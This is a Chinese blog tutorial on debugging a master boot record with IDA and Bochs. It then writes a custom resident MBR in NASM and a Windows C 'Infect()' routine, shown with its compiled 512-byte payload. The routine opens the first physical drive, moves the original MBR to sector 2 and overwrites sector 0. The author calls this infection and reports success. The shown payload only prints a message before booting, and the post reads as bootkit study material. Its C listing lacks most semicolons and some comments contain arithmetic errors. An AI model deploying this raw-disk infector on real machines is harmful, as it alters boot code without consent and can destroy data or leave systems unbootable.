IDA&&BOCHS调试MBR

一、说明

IDA都很熟悉,强大的逆向工具。

Bochs是一个x86硬件平台的开源模拟器。它可以模拟各种硬件的配置。Bochs模拟的是整个PC平台,包括I/O设备、内存和BIOS。更为有趣的是,甚至可以不使用PC硬件来运行Bochs。对于调试操作系统是灰常强大的。说白了就是一个虚拟机


 

二、IDA调试MBR

IDA调试MBR比较简单,先配置下虚拟机的VMX文件,添加一下代码:

[AppleScript] 纯文本查看 复制代码

?

1

2

3

debugStub.listen.guest32 = "TRUE"

debugStub.hideBreakpoints = "TRUE"

bios.bootDelay = "3000"

打开IDA--Debugger--Attach--Remote GDB debugger

Hostname为localhost,port为8832

启动虚拟机后点击上面窗口OK按钮,弹出选择附加进程,选择第一个,点OK

在MBR载入内存的地方下断,也就是断在0x7c00

F9运行起来,停在下面

这个时候最好Alt+s下,选择16位的模式,因为这个时候还未进入32位模式

这个时候就可以随意的调试了,或许要比静态看清晰点吧。


 

三、Bochs调试MBR

Bochs是强大开源调试操作系统的模拟器,可以去http://bochs.sourceforge.net下载源码和软件。

首先新建一个硬盘(我安装的是2.6版本),开始--Bochs 2.6--Disk Image Creation Tool,一路默认回车就可以在当前目录创建一个虚拟硬盘,我这里是c.img

新建文件夹winxp,创建配置文件,我这里命名为WinXP.bxrc,将c.img复制进来

[AppleScript] 纯文本查看 复制代码

?

1

2

3

4

5

6

7

# how much memory the emulated machine will have

megs: 256

# hard disk

ata0-master: type=disk, path="c.img", mode=flat, cylinders=20, heads=16, spt=63

ata0-slave: type=cdrom, path="H:\WinXP.ISO", status=inserted

# choose the boot disk.

boot: disk

创建一个debugmbr.bat的批处理文件,用于启动调试模式

[AppleScript] 纯文本查看 复制代码

?

1

..\bochsdbg.exe -q -f WinXP.bxrc

直接将XP的MBR复制进c.img的前512字节。启动debugmbr.bat后停在下图,下断于0x7c00(b 0x7c00),使用c命令继续运行到断点

调用u /10显示10行反汇编

调用r显示寄存器状态

如果想要单步走就使用s命令(相当于OD的F7),可以使用n单步(相当于OD的F8)


--------------------------------我是分割线---------------------------------------------------------
 

四、自己写代码修改MBR

这里主要的工作是将原始MBR备份到第二扇区,第一扇区写入自己的代码,执行完自己的代码后再调用原始MBR,自己的代码就实现一个显示I Love 52Pojie吧。代码如下,每句详细注释。

[AppleScript] 纯文本查看 复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

;File: MBR.ASM

;Author: willJ

;Date: 2012.11.24

;Compile: nasm -f bin MBR.ASM -o MBR.COM

;////////////////////////////////////////////////////////////////////////////////

jmp START

DATA:

    db "I Love 52Pojie!",0xa,0xd   ;需要显示的数据

START:

    xor bx, bx                                                    ;清零bx寄存器

    mov ds, bx                                                  ;将ds清零

    mov ax, [0x413]                                          ;0x413记录了BIOS的内存可用区域

                                                                     ;从高到低分配的

    sub ax, 2                                                    ;ax-2就是分配2KB空间

    mov [0x413], ax                                          ;更新0x413的值

    shl ax, 0x6                                                  ;这里是计算出分配的段起始地址

                                                                      ;左移6位就是乘26次方

                                                                      ;以为16位汇编寻址为段寄存器*16+寄存器的方式

                                                                      ;所以这里得ax*1024/16所以为左移26次方

    mov es, ax                                                   ;得到的段寄存器复制给es     

    mov si, 0x7c00                                              ;赋值si为0x7c00,也就是代码起始位置   

    xor di, di                                                       ;清零di      

    mov cx, 0x200                                               ;大小为0x200也就是512字节      

    rep movsb                                                     ;将自己分配过去达到内存驻留的效果

    push es                                                         ;将es压栈

    push Main

    retf                                                                ;相当于jmp指令,跳向Main的地方       

Main:

    call ShowMessage                                             ;显示信息

    call GetInput                                                      ;获取用户输入,如果是回车就启动系统

    call BootOriginOs                                               ;启动原始系统

ShowMessage                                                       ;利用int 10h中断显示信息

    mov bp, DATA                                                   ;需要显示的内容

    mov cx, 0xF                                                      ;显示的内容大小

    mov ah, 0x13                                                    ;中断功能号

    mov al, 0x01                                                     ;al显示的方式

    mov bh, 0x00                                                    ;bh为0显示页就是当前页面

    mov bl, 0x0c                                                     ;bl为0xc表示字体属性,这里显示为红色

    xor dx, dx                                                         ;dh,dl为表示行坐标,列坐标,这里为0

    int 10h                                                             ;调用10H中断

    ret

GetInput:                                                              ;接受用户输入

    mov ah, 0x00                                                    ;ah表示0号子功能

    int 16h                                                             ;调用16H中断,从键盘读字符

    and ax, 0xff                                                      ;ah/al=扫描码/ASCII

    cmp al, 0xd                                                      ;比较输入是不是为回车,回车ASCII为0xd      

    jnz GetInput                                                     ;不相等就循环,相等就返回

    ret

BootOriginOs:                                                       ;启动操作系统

    xor dx, dx                                                         ;清零dx

    mov es, dx                                                        ;赋值es为0

    mov ah, 0x02                                                    ;调用Int 13H中断的2号子功能

    mov al, 0x01                                                     ;al为1表示读取1个扇区

    mov ch, 0x00                                                    ;ch为0表示0号柱面

    mov cl, 0x02                                                     ;cl为2表示读取第二个扇区,也就是备份的原MBR

    mov dx, 0x80                                                    ;80表示读取为硬盘

    mov bx, 0x7c00                                                 ;es:bx为内存缓冲区地址,就是要载入到那个内存去

    int 13h                                                             ;调用13H中断

    jmp 0x0:0x7c00                                                ;跳向内存0x7c00继续执行

times 510-($-$$)  db 0                                           ;$表示当前地址,$$表示起始地址,

                                                                            ;这个代码表示将510字节剩余的空间0填充

dw  0xAA55                                                           ;最后两个字节为55AA,也就是MBR结束标志


 

五、编译

利用nasm编译程序,然后利用Winhex导出2进制,这里可以直接手工调用将MBR复制到第二扇区,然后将我们的代码复制进第一扇区,我这里写一个程序实现。


 

六、代码实现MBR感染

核心感染代码

[AppleScript] 纯文本查看 复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

VOID Infect() 

{ 

    HANDLE  handle; 

    BYTE   *pStr; 

    DWORD   Length; 

    handle = ::CreateFile("\\\\.\\PHYSICALDRIVE0", 

GENERIC_WRITE   | GENERIC_READ, 

FILE_SHARE_READ | FILE_SHARE_WRITE, 

NULL, 

OPEN_EXISTING, 

0, 

NULL 

)

    if (INVALID_HANDLE_VALUE == handle) 

    { 

        MessageBox(NULL, "Open DISK error!", "Wrong", MB_OK)

        return

    } 

    pStr = (BYTE*)VirtualAlloc(NULL, MBR_SIZE, MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE)

    if (NULL == pStr) 

    { 

        MessageBox(NULL, "VirtualAlloc() Error!", "Wrong", MB_OK)

        return

    } 

    SetFilePointer(handle, 0, NULL, FILE_BEGIN)

    if (!ReadFile(handle, pStr, MBR_SIZE, &Length, NULL)) 

    { 

        MessageBox(NULL, "ReadFile() Error!", "Wrong", MB_OK)

        return

    } 

    //将原来的MBR写入第二个扇区里面 

    SetFilePointer(handle, MBR_SIZE, NULL, FILE_BEGIN)

    if (!WriteFile(handle, pStr, MBR_SIZE, &Length, NULL)) 

    { 

        MessageBox(NULL, "WriteFile() Error!", "Wrong", MB_OK)

        return

    } 

    //修复MBR当中的分区表 

    memcpy(&MBR[0x1be], pStr+0x1be, 4 * 16)

    SetFilePointer(handle, 0, NULL, FILE_BEGIN)

    if (!WriteFile(handle, MBR, MBR_SIZE, &Length, NULL)) 

    { 

        MessageBox(NULL, "WriteFile() MBR Error!", "Wrong", MB_OK)

        return

    } 

    VirtualFree(pStr, MBR_SIZE, MEM_RELEASE)

    CloseHandle(handle);

MessageBox(NULL, "感染成功", "Right", MB_OK);

    return

}

void CMBR_InfectDlg::OnButton1()

{

// TODO: Add your control notification handler code here

Infect();

}

.h文件

[AppleScript] 纯文本查看 复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

#include <Windows.h>

#define MBR_SIZE 512 

unsigned char MBR[512] = {

0xE9, 0x11, 0x00, 0x49, 0x20, 0x4C, 0x6F, 0x76, 0x65, 0x20, 0x35, 0x32, 0x50, 0x6F, 0x6A, 0x69,

0x65, 0x21, 0x0A, 0x0D, 0x31, 0xDB, 0x8E, 0xDB, 0xA1, 0x13, 0x04, 0x2D, 0x02, 0x00, 0xA3, 0x13,

0x04, 0xC1, 0xE0, 0x06, 0x8E, 0xC0, 0xBE, 0x00, 0x7C, 0x31, 0xFF, 0xB9, 0x00, 0x02, 0xF3, 0xA4,

0x06, 0x68, 0x35, 0x00, 0xCB, 0xE8, 0x06, 0x00, 0xE8, 0x16, 0x00, 0xE8, 0x1F, 0x00, 0xBD, 0x03,

0x00, 0xB9, 0x0F, 0x00, 0xB4, 0x13, 0xB0, 0x01, 0xB7, 0x00, 0xB3, 0x0C, 0x31, 0xD2, 0xCD, 0x10,

0xC3, 0xB4, 0x00, 0xCD, 0x16, 0x25, 0xFF, 0x00, 0x3C, 0x0D, 0x75, 0xF5, 0xC3, 0x31, 0xD2, 0x8E,

0xC2, 0xB4, 0x02, 0xB0, 0x01, 0xB5, 0x00, 0xB1, 0x02, 0xBA, 0x80, 0x00, 0xBB, 0x00, 0x7C, 0xCD,

0x13, 0xEA, 0x00, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA

};


 

七、感染后的效果图

回车后可以进入系统。

每次看见wowocock大牛的的文章都只能仰望,希望可以努力向您靠近,继续努力吧。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值